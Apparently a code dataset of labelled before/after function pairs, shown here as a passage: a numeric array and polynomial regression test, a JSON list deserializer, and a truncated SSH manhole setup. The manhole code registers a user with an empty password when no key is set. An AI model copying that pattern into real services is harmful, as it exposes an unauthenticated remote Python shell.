-0.40721992, 0.4674624, -0.34421624, -0.376644, 0.65406, 0.7142624, -0.450002, -0.08281684, -0.8066908, -0.1878128, 0.880996, 0.20815972, 0.6654228, -0.4753138, 0.8992138, -0.2075868, 0.7347964, 0.8975866, 0.414062, -0.766646, 0.9155472, 0.752778, 0.22796064], [0.6927772, 0.2124524, 0.9146312, -0.75129192, 0.8930472, 0.5186108, 0.06175176, -0.34669472, -0.3330126, -0.5975492, 0.9229724, 0.05494784, 0.8324436, 0.786728, -0.07608212, 0.10443876, 0.6000582, 0.785474, -0.04726326, 0.8190338, -0.8193744, 0.930304, 0.10516328, -0.37034264, 0.37115888], [0.698952, 0.8119608, 0.19058592, -0.9118672, 0.60599272, -0.8823448, -0.24977556, -0.5250368, -0.5621276, 0.667278, 0.75363, -0.35848588, 0.7344656, -0.38083128, -0.8370068, -0.9932616, 0.4451716, 0.3675362, 0.4433218, -0.3450514, 0.020238508, -0.5375136, -0.08603792, -0.56148552, 0.63322888], [0.7013044, -0.3011876, -0.9714376, 0.97716, -0.9153216, -0.04716044, -0.5095988, -0.39678476, -0.07062616, -0.16152796, 0.517284, -0.1408128, -0.4902768, 0.1556464, 0.6592728, -0.6295894, 0.9447218, 0.1565703, 0.2287438, 0.3415914, -0.7950008, -0.032202536, -0.9138344, 0.36468408, 0.28931936], [0.7044696, -0.77594336, 0.17776224, -0.0946524, 0.18540856, -0.7081248, -0.24611072, 0.7926736, 0.419906, -0.8152168, 0.4289172, -0.796214, 0.68313, 0.4336352, 0.8588924, 0.8057552, -0.529814, 0.6682254, -0.2522364, -0.4808786, 0.19010504, -0.11732808, -0.9418048, -0.8691232, 0.49514552], [0.7067468, 0.032754088, -0.069092488, 0.52203672, 0.71004688, 0.3339682, 0.7820376, -0.5434228, -0.850202, -0.7222572, 0.9614512, 0.65735, 0.9191432, -0.5495544, 0.6568868, 0.8872716, 0.14502278, -0.3692318, -0.9685034, 0.6911164, 0.7015904, 0.9990096, 0.32551088, -0.2221004, 0.0168718], [0.7076596, 0.17921696, 0.25518808, -0.56080824, 0.54297672, 0.470494, 0.5585784, -0.583794, -0.9789816, -0.5902632, 0.5604868, 0.4812864, -0.6148232, 0.25908692, -0.8331184, -0.328355, 0.744529, -0.782002, 0.956844, 0.2678326, -0.966578, -0.24638616, 0.925144, -0.5179004, -0.67670904], [0.7130752, -0.42359024, 0.58874288, -0.18716624, 0.933404, 0.7835444, 0.02635396, 0.10008288, -0.5534528, -0.06171352, 0.988032, -0.9647768, -0.7498316, -0.8494948, -0.07899196, -0.5735242, 0.9752374, 0.2691052, 0.7855392, 0.418938, -0.4388868, 0.8027056, 0.35310696, -0.5152688, -0.25412432], [0.7139144, 0.62414728, -0.5229156, -0.1571552, -0.006997046, 0.15411584, -0.038425212, -0.7849824, 0.5171896, 0.2863994, 0.7292592, 0.17482924, 0.9020772, -0.24697488, 0.9361128, 0.2053662, 0.5178746, -0.5281236, -0.8205816, 0.6360398, 0.007861112, -0.59574376, 0.77610648, -0.33572648, -0.5060092], [0.7149852, -0.56071872, 0.915672, -0.7555252, 0.75615112, 0.2223492, -0.9929708, 0.8612044, 0.18157632, -0.6305988, -0.7024028, -0.6828532, -0.31507632, 0.21020264, 0.9581376, 0.15738354, -0.4016428, 0.3844374, 0.18801672, -0.6072914, 0.5230404, 0.9106536, -0.16771976, 0.36034072, -0.8620992], [0.7166336, -0.886508, 0.68084088, -0.15712824, -0.9722848, -0.5417968, 0.4030228, -0.35316204, 0.4405984, 0.4543368, 0.24762192, 0.561756, -0.6641348, 0.19071748, 0.29306204, -0.5604892, 0.3875798, -0.10979354, 0.4504946, 0.8977654, 0.036543456, 0.7044504, 0.41819016, 0.22768352, -0.061272056], [0.718408, -0.58548224, 0.13862584, -0.7474428, 0.8894048, -0.0598542, 0.8477392, 0.650824, -0.21280068, 0.13950292, 0.4171804, -0.5967328, -0.026406532, 0.50063, -0.31256048, -0.825381, 0.2459578, 0.7007096, 0.2733084, 0.9813258, 0.16906004, -0.008678976, 0.3864544, -0.7268728, -0.9725296], [0.7218376, -0.5079296, -0.078505536, -0.9206032, 0.04360752, -0.01158148, 0.2875138, 0.014775564, 0.37925972, 0.8217024, 0.8510856, 0.4788172, 0.7254976, -0.9666392, 0.7253368, -0.007343602, -0.014530944, -0.8314296, 0.4265058, 0.5500514, -0.15196632, -0.43257304, 0.1006784, 0.74689896, -0.13114936], [0.7223732, -0.9792152, -0.17472088, 0.34603344, -0.46590464, -0.402044, 0.3379306, -0.5541792, 0.2467446, -0.9762336, -0.7106228, -0.916532, -0.2817968, 0.7503788, 0.2536804, 0.11918148, -0.776309, -0.4460856, -0.110487, -0.8840398, 0.5480008, -0.14402544, 0.5229888, 0.25001528, 0.62383872], [0.7272868, 0.22796768, 0.38180304, -0.38418704, 0.23380552, 0.10912124, -0.4030496, -0.6638596, -0.5276772, 0.7257856, 0.7923148, 0.888214, -0.011923856, -0.3705168, -0.4025824, -0.7226918, -0.9911052, 0.7778968, 0.5150466, -0.9650396, 0.7617392, 0.9355312, 0.31310784, 0.12157256, -0.8996264], [0.7291768, 0.16900144, -0.56621696, 0.1398504, -0.76685416, 0.26642608, 0.688616, -0.13168528, -0.20909004, -0.8757768, -0.1769936, -0.94827, -0.7105776, 0.4358288, 0.88325, -0.1955056, -0.8742392, 0.09311568, -0.9839504, 0.7728594, 0.08507012, 0.859488, -0.55179632, -0.2134728, 0.9786408], [0.737902, 0.34651296, -0.13194056, 0.48334088, 0.36062256, -0.25471364, 0.9752844, 0.04917716, 0.5804272, 0.21919372, -0.036553616, 0.04707436, -0.16223496, 0.764652, -0.14600348, -0.2202444, 0.5031276, -0.03614524, -0.5988048, -0.6514082, 0.11688008, -0.7660476, 0.78653912, 0.638264, -0.45264816], [0.7453368, 0.8452064, -0.8427664, 0.036963344, 0.51194448, 0.37053888, -0.257366, 0.7974776, -0.07946408, 0.9761684, 0.9979472, 0.6027772, 0.6644712, 0.7063424, -0.34581784, 0.19713364, -0.7262172, -0.494112, -0.06492068, 0.901676, -0.8037608, -0.8268792, -0.3888276, -0.22348648, 0.24597384], [0.7596844, 0.9701112, 0.020944616, -0.42031608, 0.33236296, 0.29779224, -0.4817092, -0.31809752, -0.7582208, -0.6462312, -0.6931492, -0.6250344, 0.30644148, -0.991408, 0.0934912, -0.5216176, 0.5286342, -0.19524984, 0.2457012, -0.5861324, 0.4368016, 0.62709648, -0.022918984, 0.2877324, -0.16089704], [0.766956, 0.72108824, -0.5328104, 0.872456, 0.2732748, 0.18023084, -0.295738, -0.16949904, 0.2408966, -0.00675628, -0.4786988, 0.704292, 0.3929834, -0.7065696, -0.06650668, 0.15244958, 0.09761534, -0.922805, -0.7660966, -0.357742, 0.4902316, -0.40472456, 0.5573424, -0.8914128, -0.53132728], [0.7685484, -0.10204632, -0.8545048, -0.1115648, -0.73341976, 0.22206684, -0.28700976, -0.7975892, -0.7091096, 0.7709312, -0.845872, -0.7685916, 0.033051668, -0.6090712, -0.0817024, 0.4110308, 0.515976, 0.562631, 0.19609722, -0.7912214, 0.646728, 0.046001896, 0.58188768, 0.36296344, -0.7339656], [0.7707696, -0.42128104, -0.01383776, 0.8721488, 0.071190856, -0.4863828, 0.5733552, -0.23208528, 0.9460216, 0.4780232, -0.34077692, -0.8644788, 0.27523292, 0.7393204, -0.6960152, 0.07817736, -0.8694536, -0.4180956, 0.7905862, -0.14915888, -0.19848336, -0.9384912, -0.9993168, -0.9636368, 0.16664408], [0.7708088, -0.27537752, -0.3202472, 0.36723432, -0.85984, 0.9795064, 0.9260664, -0.30073748, -0.30862644, -0.439206, 0.34753608, 0.4243684, -0.6336904, -0.9574768, -0.3149854, -0.8029954, 0.905144, 0.7408498, 0.08388224, -0.15804612, -0.9894544, 0.70739584, -0.67963176, -0.857172, 0.22499568], [0.7813272, -0.7817536, -0.9338608, 0.41489784, 0.76433264, -0.6422912, -0.9104096, 0.5979764, -0.8665636, -0.8867024, 0.07342284, 0.6645908, -0.4609448, 0.7014272, 0.568258, 0.4221888, 0.8745028, -0.9528624, 0.3556334, 0.5488082, 0.23905456, 0.36979592, -0.7525452, -0.008328656, -0.8412888], [0.78624, -0.72878024, 0.14593056, -0.53277336, -0.9070592, -0.4784268, -0.6449924, -0.4251504, 0.9949048, -0.4532068, -0.08101304, 0.16248408, 0.5252452, 0.5577468, -0.48115, -0.643469, -0.07354594, -0.9885194, -0.6900706, 0.802287, -0.5576344, -0.26975072, 0.35240176, 0.9908648, -0.004388789], [0.7918956, -0.720682, -0.71497096, 0.9420712, 0.11878424, 0.26630072, -0.9859268, 0.3924824, -0.6550432, -0.37818348, 0.23429992, 0.761666, -0.9592272, -0.023765728, 0.25668516, -0.751369, -0.5596696, 0.2146894, -0.01027967, -0.4039604, 0.7477108, 0.9770728, 0.822804, 0.7222496, -0.2393852], [0.7922, -0.14770416, -0.60058264, -0.451456, -0.8854056, 0.5928964, -0.11434156, 0.35337052, 0.6597264, 0.16617936, -0.37935728, -0.026882584, 0.34373208, -0.32399936, -0.24236316, 0.8411126, 0.6420164, -0.9185004, -0.18837632, -0.704978, 0.7672548, 0.8080896, 0.31510816, -0.43958912, -0.10639168], [0.7939776, -0.43864336, 0.1331756, 0.39860472, 0.952916, -0.8531784, -0.7621736, -0.5924224, -0.7360328, -0.37829064, 0.8456128, 0.9684688, -0.9193868, -0.708236, -0.9002044, -0.2164306, 0.19356698, 0.6297088, -0.9476214, 0.4413812, -0.16696544, -0.37770208, 0.09527888, 0.12965952, 0.11202072], [0.7974784, 0.08567184, 0.9344512, -0.5583244, -0.1684452, -0.6865872, 0.5365516, -0.5482256, 0.5710136, -0.8994336, -0.6625056, 0.8639256, 0.6203452, 0.3017648, 0.6939556, -0.631501, -0.7778788, -0.3110604, 0.05804224, 0.6670342, 0.4797892, -0.8419048, -0.9982792, -0.47459784, 0.8720392], [0.7981404, 0.4949192, -0.9143664, 0.18077584, 0.72518984, 0.9367672, 0.7439372, 0.8357108, -0.22327256, 0.6040328, 0.27550708, -0.9559572, 0.9123092, 0.09049764, -0.8226252, -0.457663, -0.7702748, -0.9978556, 0.584812, 0.973781, -0.038512928, -0.6404508, -0.53055984, -0.4237816, -0.9524696], [0.7981428, 0.16275296, 0.28894288, -0.6247352, 0.57517888, -0.29825116, 0.5361264, 0.7689804, -0.8876024, -0.9681096, 0.6264824, 0.9352388, 0.1381702, -0.9486116, -0.283618, 0.8832048, 0.4575972, 0.18974566, 0.2672832, 0.9268108, 0.05320052, -0.3406236, 0.9283456, 0.04653132, -0.8389104], [0.7987436, -0.59918976, 0.59371512, -0.5207232, 0.42908848, 0.37967972, 0.9204116, 0.585416, -0.9914796, -0.7686548, 0.4685352, 0.730488, -0.36208584, 0.851308, 0.7765708, -0.18939504, -0.701801, 0.3661188, -0.3747242, 0.14299622, -0.642918, 0.61807944, -0.3596912, 0.58339696, 0.79231432], [0.8010296, 0.62674696, -0.21978888, -0.64701304, -0.44327648, -0.15307824, 0.4469952, -0.19424256, 0.908868, 0.5800336, 0.7983016, 0.6163384, 0.3205786, 0.958488, -0.22225228, 0.12346726, -0.4624238, 0.583402, 0.0874694, -0.1299941, -0.11059084, 0.31324864, -0.66290352, -0.35005992, -0.3464532], [0.819158, -0.54168856, -0.11607136, 0.73994072, -0.010964256, 0.6528336, 0.018842276, 0.29249128, 0.2238374, 0.4315892, -0.7851544, -0.2193652, 0.23388828, -0.6257372, 0.0505402, -0.3172644, -0.2504478, 0.4845348, -0.12996934, 0.2248434, -0.9741492, -0.13902696, -0.3465952, -0.69546224, 0.76451312], [0.8220872, -0.57327176, 0.20480728, 0.20724096, -0.22580496, 0.22317072, 0.25596728, 0.115312, 0.5455996, -0.5380996, 0.9253096, -0.6655392, 0.8631032, -0.500746, -0.33723928, 0.7835194, 0.2425744, -0.8265844, -0.7229228, -0.809486, -0.27650248, 0.5143728, 0.6598216, 0.628228, 0.48574744], [0.8244452, 0.24260352, 0.52035224, 0.4194208, -0.51730792, 0.36440812, -0.1548774, -0.4491252, -0.8960652, -0.08190416, 0.732652, -0.4947296, 0.9177908, -0.5716196, -0.31818732, -0.7151244, -0.4717764, -0.5031654, -0.9188122, -0.7491162, 0.8885492, 0.5597244, -0.58569144, 0.49522208, -0.32243608], [0.8265264, 0.54552136, -0.42381216, 0.29364256, -0.44373888, 0.9758084, 0.9370836, 0.8445432, -0.695634, 0.37599152, 0.00974198, -0.9796792, 0.6234536, 0.36069912, -0.5994508, -0.7232094, 0.08759258, 0.14269254, 0.7007738, 0.5545166, -0.2078982, 0.19414248, -0.71666464, -0.13767656, 0.53666504], [0.8314464, 0.20369672, -0.9618432, -0.063135144, -0.79353976, -0.5498532, 0.5508636, 0.5687256, -0.2132106, 0.1980478, 0.32063656, 0.8524332, -0.985716, 0.7177728, -0.32785768, -0.18241334, 0.9355192, -0.05046334, 0.11681334, -0.2074716, -0.6298268, 0.007108382, -0.8915736, 0.5921824, 0.46151368], [0.8318016, 0.77428768, 0.25837176, -0.35243432, 0.43916288, -0.7166756, 0.4282532, 0.5304016, -0.4212784, 0.9798216, -0.037337544, -0.366572, 0.511704, -0.29989812, -0.6687704, -0.4132902, 0.5398654, 0.7092942, -0.799849, 0.6884622, 0.6784948, -0.9972696, -0.16893448, -0.41412816, -0.49759528], [0.8389484, -0.8052176, -0.5226008, -0.26724232, -0.70344336, 0.08685612, 0.9661892, 0.8969616, -0.08908408, 0.22479596, -0.5180756, -0.05020772, 0.4783052, 0.670226, 0.05168592, -0.3147362, -0.8347442, 0.16336756, -0.16549466, -0.582624, 0.676042, -0.42380704, -0.77834928, -0.58035792, 0.9818216], [0.84136, -0.33479832, -0.34072, -0.56891912, 0.668786, 0.7199588, -0.9081432, 0.5561744, -0.468682, -0.7432648, -0.5804292, -0.9705108, 0.37153112, 0.5274984, -0.476728, -0.231109, -0.09566738, 0.9809606, 0.7433148, -0.4833152, 0.592682, -0.8159744, -0.79877936, -0.2351988, -0.1524292], [0.8430608, 0.2828016, 0.10316672, -0.18195184, -0.8045824, -0.4338448, 0.9171432, 0.26931096, -0.10343172, -0.7338036, 0.11143064, 0.020682928, 0.5933312, -0.567396, -0.8446452, -0.4659538, 0.6142838, 0.492818, 0.1001081, 0.6754564, 0.13420912, -0.70099192, -0.6435564, 0.03012736, 0.4028924], [0.8521096, 0.8011952, -0.27364048, -0.31539824, 0.37978384, 0.8616056, 0.07260636, -0.32024648, -0.8388648, -0.4642636, 0.4831608, 0.033286044, 0.5617548, 0.65434, -0.9881912, -0.34352, -0.6027778, 0.72825, 0.5838238, 0.5770308, -0.5250436, 0.26827632, -0.4451268, -0.9978224, -0.71092632], [0.8545608, -0.8363184, -0.5382344, 0.51252296, -0.71550704, -0.7586508, 0.05768036, -0.7370704, -0.1560614, 0.5358876, 0.19288144, 0.4758616, -0.6879924, 0.913234, 0.19522772, 0.07062754, 0.17641774, 0.292251, 0.6863414, -0.7110782, -0.6742776, 0.8940272, 0.74358592, 0.059637272, -0.8438512], [0.85533, -0.7528844, -0.074584464, -0.05744176, 0.9247656, 0.07579016, -0.4805888, -0.2131612, -0.9754804, 0.1101006, 0.24204952, 0.4008008, 0.2094216, -0.24225812, -0.35121968, 0.395442, -0.2704864, -0.6934138, -0.6983684, 0.8697484, -0.602602, -0.68096408, 0.25966528, -0.9707688, 0.33824376], [0.8562244, -0.33829032, -0.026545264, -0.8681008, 0.6135276, -0.424492, -0.17623416, -0.5281516, -0.6630124, -0.7560124, 0.09170856, 0.7720464, -0.7673616, 0.4457204, -0.7439024, 0.14931546, -0.0598528, 0.9473582, -0.4266802, -0.71417, 0.72594, 0.719416, -0.8215312, -0.28513248, -0.011409952], [0.8639316, -0.1607364, 0.47668864, 0.36817856, 0.69284104, -0.8457716, 0.3192418, 0.5279132, 0.26904392, -0.824242, 0.9478968, 0.4938832, -0.7034996, 0.10107072, 0.208367, 0.8935298, -0.4651018, 0.7788432, 0.4889512, 0.833191, 0.065629, 0.73231848, 0.33039024, -0.743054, 0.8994992], [0.8655424, -0.76756072, -0.2671536, -0.37505928, 0.53432096, -0.9546452, -0.401128, -0.9824424, -0.4881128, -0.909046, -0.8736852, -0.8548404, 0.6237684, 0.5574328, 0.7484492, 0.6526396, -0.2079428, 0.02855366, -0.5479398, 0.5372102, -0.31525708, -0.30536632, -0.9280112, -0.52226376, -0.55056264], [0.872988, -0.27873528, -0.45550728, -0.32217528, -0.11915496, 0.33844368, 0.6291952, 0.6647564, 0.7041232, 0.8958952, -0.16415924, -0.660842, 0.013519344, -0.7358808, -0.6250852, -0.2658216, -0.19989262, 0.5536662, 0.4876434, 0.8113016, -0.5145796, 0.45212512, -0.75021144, -0.31911528, -0.08622544], [0.8737216, -0.40926784, 0.043643624, -0.8995224, 0.46484184, 0.001119116, -0.07302128, 0.596628, -0.12876356, 0.05398008, -0.4660196, 0.5672196, 0.5290876, -0.20245912, 0.05929276, 0.9545174, -0.4988342, 0.2406654, 0.8382062, 0.550373, -0.37533244, 0.4204748, -0.45346304, 0.48227576, 0.948632], [0.8760432, -0.014230824, 0.3379568, 0.9303832, -0.063587688, -0.30970968, 0.6840592, 0.5959244, -0.6945936, -0.5706296, 0.2147556, -0.7156676, -0.2313368, 0.08553784, 0.5563684, -0.2006824, 0.04115874, -0.776477, 0.4230004, -0.3678076, -0.20588756, 0.6635628, 0.8153416, 0.11017624, 0.7828164], [0.8787212, -0.71070496, 0.42126736, 0.28277416, -0.73655376, -0.06604212, -0.32718208, 0.7393896, -0.031139232, 0.9871068, -0.4726112, -0.7275956, 0.6487296, -0.6879108, -0.35788368, 0.004855188, -0.6205664, -0.017404258, 0.702603, -0.9649424, 0.7629648, 0.6198556, 0.69435408, -0.13493256, -0.66863896], [0.8900924, -0.09971776, -0.41067496, -0.9528272, -0.64218624, 0.38772616, -0.37238504, 0.3635864, 0.24565832, -0.9298204, -0.439618, 0.4912872, -0.6590156, 0.07425924, -0.07908212, -0.4210356, 0.7263446, 0.5960354, 0.3181838, 0.4830608, -0.8005272, 0.26946512, 0.22809328, 0.21984152, -0.77142984], [0.8949544, -0.77650848, -0.9819408, -0.71332008, 0.8555216, -0.31614072, -0.650446, -0.5054604, 0.19590404, 0.6366996, -0.19455928, -0.980788, -0.04758116, -0.8504884, -0.6637212, -0.651496, -0.8477384, 0.9385022, 0.8302826, -0.8482916, 0.8032156, -0.31761736, -0.55570624, 0.66438408, -0.20781784], [0.8962412, -0.9694728, -0.11270088, 0.60717872, -0.76414384, 0.9447308, 0.9772196, 0.8503392, 0.581864, 0.3435846, -0.025900008, 0.38944492, 0.08889804, 0.9576848, -0.07084664, 0.7564128, 0.8846554, -0.4886264, 0.9914352, -0.71129, 0.961404, 0.21387744, 0.38634576, -0.28644176, 0.8560416], [0.9035876, 0.32429024, -0.4148604, -0.9038296, 0.61435952, -0.20027268, -0.937456, -0.3526238, 0.756116, 0.8852528, -0.37101292, 0.587504, 0.986388, 0.22156836, 0.27771112, -0.7671728, 0.4903, -0.9345394, 0.568908, 0.8693238, -0.17675616, 0.9869272, 0.07869736, 0.29232456, 0.11522784], [0.909006, -0.1809284, 0.53187096, 0.9370528, 0.19429976, 0.0725774, 0.7580152, -0.8738796, 0.17438796, -0.6325948, 0.006480768, 0.8770224, -0.18217352, -0.9303184, -0.33009328, 0.3870458, 0.5975392, 0.378511, 0.692817, 0.5803656, 0.6094008, -0.7048584, -0.51896064, 0.58893416, 0.09741328], [0.9276336, 0.52771392, 0.08332408, 0.59000552, -0.028067736, 0.277782, 0.901066, -0.7226576, 0.8067352, 0.22152728, 0.09979024, -0.7787184, 0.11036632, 0.6425864, 0.9131248, 0.8544574, 0.870127, -0.4806152, -0.11366888, 0.8279452, -0.4417288, -0.270864, -0.62578248, 0.40738264, -0.804288], [0.9283364, 0.63509344, -0.9994784, -0.8921904, -0.93974, -0.4166432, 0.6663872, -0.9506372, -0.931036, -0.4756692, -0.9420076, 0.6217076, -0.35917856, 0.13622656, -0.1969196, -0.06725554, -0.8167874, -0.018628658, 0.3340894, 0.10889452, 0.21256328, 0.7189008, -0.39027592, -0.34969664, -0.11943848], [0.9358884, -0.75747288, 0.31313624, 0.61965872, 0.16719248, 0.6649756, 0.32683612, -0.8079556, -0.37063196, -0.537904, 0.985868, -0.23911796, 0.8442736, 0.19748696, 0.8315952, 0.15073204, -0.716318, 0.8078952, -0.04984084, -0.8233712, -0.7209824, -0.77598576, 0.58330072, -0.62115672, 0.23848016], [0.9412868, 0.12569264, -0.56710944, 0.8217816, 0.063221152, -0.015080652, 0.471948, 0.33715424, -0.9765068, -0.38429124, -0.025100052, 0.9242908, -0.4904464, 0.2871824, -0.7237052, 0.4512134, -0.8846884, 0.8968882, -0.9542942, -0.2641778, -0.3139046, 0.910244, 0.9341408, -0.045969776, -0.904592], [0.9414736, 0.9336016, -0.27324912, 0.03518712, 0.53310976, 0.8478332, -0.856446, -0.695134, 0.39190896, 0.6496276, 0.33718548, -0.99696, 0.39408388, 0.7899044, -0.06733164, -0.561838, -0.9100532, -0.439777, 0.4555486, 0.5656288, -0.865136, 0.38638264, 0.8564632, 0.44244288, 0.042671848], [0.9434604, 0.06651964, -0.61288432, -0.7946116, 0.8006432, 0.037014256, -0.05100448, -0.651226, 0.1350348, -0.21181444, 0.9997696, -0.32785888, -0.34011328, 0.9849396, -0.4776672, 0.5623662, 0.3683434, 0.88854, 0.6661922, 0.2829992, -0.6044412, 0.055624272, 0.394154, 0.15632064, -0.12939136], [0.9458724, 0.73997056, -0.22167704, -0.006465765, 0.618392, 0.6560624, -0.05710252, -0.17358056, 0.9986952, -0.00575562, 0.9455892, -0.610134, -0.4060732, 0.6418852, -0.8595628, -0.04715248, 0.1141232, 0.013407938, 0.3380076, 0.8532404, 0.6725272, -0.1574932, -0.15877432, 0.9238856, 0.08879784], [0.9467012, 0.032313784, 0.28863696, -0.079956384, -0.35217032, -0.8019644, -0.24142912, 0.26766576, -0.720302, -0.8389148, -0.4560528, 0.06993116, 0.33767004, 0.5403196, 0.7617268, 0.5898816, 0.5396732, 0.2408902, -0.015584772, 0.300847, 0.6954256, -0.185786, 0.076937816, -0.4895524, -0.66603304], [0.9492764, -0.7569528, 0.8958336, 0.4014216, 0.9779216, -0.8066272, 0.8089148, -0.9048328, 0.4568664, 0.8228752, 0.018710436, -0.721736, 0.5150656, -0.6403184, -0.6046396, 0.4833242, -0.8750154, -0.9699098, 0.2601344, -0.3646112, 0.5081264, 0.9475808, 0.21255, 0.5043148, 0.9377544], [0.95178, 0.6367356, 0.65953784, -0.018234008, 0.15920656, -0.49687, 0.7832848, -0.7921864, 0.7444848, -0.6497348, 0.7949776, -0.5820304, -0.07043132, -0.037531136, -0.7521684, -0.11200384, -0.72906, 0.2558732, 0.5809216, 0.6654806, -0.34474068, 0.8941584, 0.21635816, 0.53224432, 0.70098616], [0.954332, 0.8868856, -0.30944424, 0.05253012, -0.8481424, -0.28778588, 0.9194828, 0.38651324, -0.9562556, 0.32869808, -0.33597584, 0.8321288, 0.35796308, -0.7754568, -0.8315648, -0.7720308, -0.7647406, 0.09160166, -0.7934728, -0.62654, -0.8984708, 0.2508652, 0.75399344, 0.10584824, 0.26682056], [0.957118, -0.9523008, 0.37040552, 0.35420112, -0.56282368, 0.8570588, -0.4375492, 0.90221, 0.4542224, -0.8218912, -0.22438664, 0.25120012, 0.792354, 0.4004636, -0.08591556, 0.2329378, -0.6466092, -0.5745008, -0.10729476, 0.3758482, -0.7561688, 0.450132, -0.31243144, 0.62407952, 0.60826536], [0.9602004, 0.53912072, 0.28492064, 0.89498, -0.08985432, -0.32328848, 0.3695962, -0.27973616, 0.04791048, 0.16770324, 0.0570146, 0.11709056, 0.30060808, -0.13041556, 0.024292972, -0.6422554, 0.5902032, 0.8046614, 0.643201, 0.4111862, -0.9513684, -0.2257884, -0.5436948, -0.857328, -0.50671112], [0.962828, 0.78682552, -0.38843224, 0.021002072, -0.05978148, 0.28277268, 0.58598, -0.902882, -0.57989, 0.37763616, -0.4290288, 0.35068292, 0.001809749, -0.8622844, 0.8798148, -0.630277, 0.4940172, 0.3187106, 0.3884638, -0.8275018, -0.39366424, -0.8970824, -0.1687844, -0.77358104, 0.719512], [0.975904, -0.9483616, 0.29874432, -0.33895288, 0.28293336, 0.4070572, -0.769852, 0.8398028, 0.7530168, -0.7233444, 0.7488492, -0.21270208, -0.9973912, -0.35168196, 0.004174724, 0.10326068, 0.3265854, -0.07668508, -0.12905596, 0.6855582, -0.5183584, 0.53848288, 0.46634208, 0.340692, -0.005640709], [0.9778168, -0.4416284, -0.51671016, 0.072795416, 0.60753936, -0.868234, 0.8884024, 0.774736, -0.29683864, 0.8947356, -0.4677168, 0.07056492, 0.8283532, -0.04091988, -0.5629308, 0.3136438, -0.02007128, 0.1160053, -0.496273, -0.3032342, 0.04363108, -0.040159128, -0.018807456, -0.79721872, 0.74888696], [0.9831388, -0.58101472, -0.44627088, -0.08017736, -0.8218808, -0.5036252, 0.582744, 0.10333768, -0.7654648, -0.24468372, -0.11668872, 0.3644174, -0.1155636, 0.5397984, -0.9109944, 0.7281462, 0.1725757, -0.8159796, 0.8959322, 0.29969, 0.7791088, 0.56647672, -0.68995584, -0.4430612, 0.60779848], [0.9875248, -0.65921496, -0.928928, -0.4246756, 0.35909192, 0.4686604, 0.4968372, 0.21628468, 0.243766, -0.7778256, 0.9318668, 0.2067948, -0.5866528, -0.4171884, 0.19262716, -0.6936874, 0.13166804, 0.7829012, 0.518191, 0.8256072, -0.8537328, 0.08032416, -0.39956368, 0.59077376, 0.8398336], [0.9914544, -0.050285912, -0.21688832, -0.09422648, -0.63137176, 0.3729446, 0.7937592, 0.06939664, -0.035323288, -0.7411232, 0.31815668, -0.7076548, 0.5964988, 0.07384496, 0.6882196, -0.6615344, -0.9522156, -0.7463206, 0.5877714, -0.2523558, 0.799514, 0.68709808, 0.40410048, -0.066595408, -0.9858], [0.9945768, 0.15656832, -0.51088592, 0.8184904, 0.6937356, -0.5186884, 0.38727012, -0.06736656, 0.9276728, 0.5226268, 0.6737992, -0.22887896, 0.28189608, 0.6920124, 0.478668, 0.4321, 0.5124978, 0.2526026, -0.1178505, 0.09192118, -0.07412924, 0.21844864, -0.9817928, 0.53824216, 0.69590056], [0.9951988, -0.19689744, -0.59704856, -0.013748008, -0.31334512, 0.174308, -0.6286856, 0.8817644, -0.6673748, -0.25470088, -0.4045392, 0.4527572, -0.9877372, 0.3627538, 0.2126448, 0.0964504, -0.18231966, -0.7403782, -0.6381626, 0.7653484, 0.7143812, -0.56124232, -0.8147816, -0.030903304, -0.88964], [0.9956436, 0.358282, -0.15275728, -0.57280664, -0.087762, 0.939348, 0.5316308, 0.8886284, 0.416306, 0.39524728, 0.7887828, 0.39620296, 0.38067348, -0.7793868, 0.9313936, -0.281948, -0.08257332, 0.3192, 0.18656414, -0.1581843, 0.8179192, 0.485438, 0.005795364, 0.5511956, -0.34955368], [0.9993388, -0.15829144, 0.110528, -0.1104108, 0.65763936, 0.018751128, 0.5150728, -0.8686552, 0.003809682, -0.5171348, -0.8185576, 0.709784, -0.446038, -0.06724404, 0.02085272, -0.3851304, -0.8670188, 0.5087578, 0.5500584, -0.6376162, 0.16387948, 0.51113224, 0.45510152, 0.50295088, -0.30369624]])
(X, Y) = (X, Y)
N = X.shape[0]
p_order = 2
params = []
basis_orders = []
for i in range(25):
params.append(Parameter(p_order, distribution='uniform', lower=-1.0, upper=1.0))
basis_orders.append(p_order)
basis = Basis('total-order', orders=basis_orders)
num_obs = 200
chosen_points = np.random.choice(range(N), size=num_obs, replace=False)
X_red = X[chosen_points, :]
Y_red = Y[chosen_points]
remaining_pts = np.delete(np.arange(N), chosen_points)
chosen_valid_pts = np.random.choice(remaining_pts, size=30, replace=False)
poly = Poly(params, basis, method='relevance-vector-machine', sampling_args={'sample-points': X_red, 'sample-outputs': Y_red})
poly.set_model()
y_eval = poly.get_polyfit(X)
y_valid = Y
(a, b, r, _, _) = st.linregress(y_eval.flatten(), y_valid.flatten())
r2 = np.round(r ** 2, 4)
print(r2)
np.testing.assert_array_less(0.8, r2, err_msg='Problem!')
|
equadratures
|
positive
|
def deserialize(self, node, cstruct, **kwargs):
try:
<DeepExtract>
if cstruct is null:
appstruct = cstruct
try:
appstruct = cstruct
if isinstance(cstruct, six.string_types):
appstruct = json.loads(cstruct)
except ValueError as e:
raise Invalid(node, six.text_type(e), cstruct)
appstruct = appstruct
</DeepExtract>
except Invalid:
cstruct = re.sub('^\\s*\\[(.*)\\]\\s*', '\\1', cstruct)
appstruct = re.split('\\s*,\\s*', cstruct)
return super(JSONList, self).deserialize(node, appstruct, **kwargs)
|
def deserialize(self, node, cstruct, **kwargs):
try:
if cstruct is null:
appstruct = cstruct
try:
appstruct = cstruct
if isinstance(cstruct, six.string_types):
appstruct = json.loads(cstruct)
except ValueError as e:
raise Invalid(node, six.text_type(e), cstruct)
appstruct = appstruct
except Invalid:
cstruct = re.sub('^\\s*\\[(.*)\\]\\s*', '\\1', cstruct)
appstruct = re.split('\\s*,\\s*', cstruct)
return super(JSONList, self).deserialize(node, appstruct, **kwargs)
|
daybed
|
positive
|
@classmethod
def build(cls, root_service):
if not settings.ENABLE_MANHOLE:
return
<DeepExtract>
sshRealm = TerminalRealm()
sshRealm.chainedProtocolFactory.protocolFactory = lambda _: Manhole(namespace)
if settings.MANHOLE_PUBLIC_KEY == 'None':
credChecker = checkers.InMemoryUsernamePasswordDatabaseDontUse()
credChecker.addUser(settings.MANHOLE_USER.encode('utf-8'), ''.encode('utf-8'))
else:
userKeys = {settings.MANHOLE_USER.encode('utf-8'): settings.MANHOLE_PUBLIC_KEY.encode('utf-8')}
credChecker = PublicKeyChecker(userKeys)
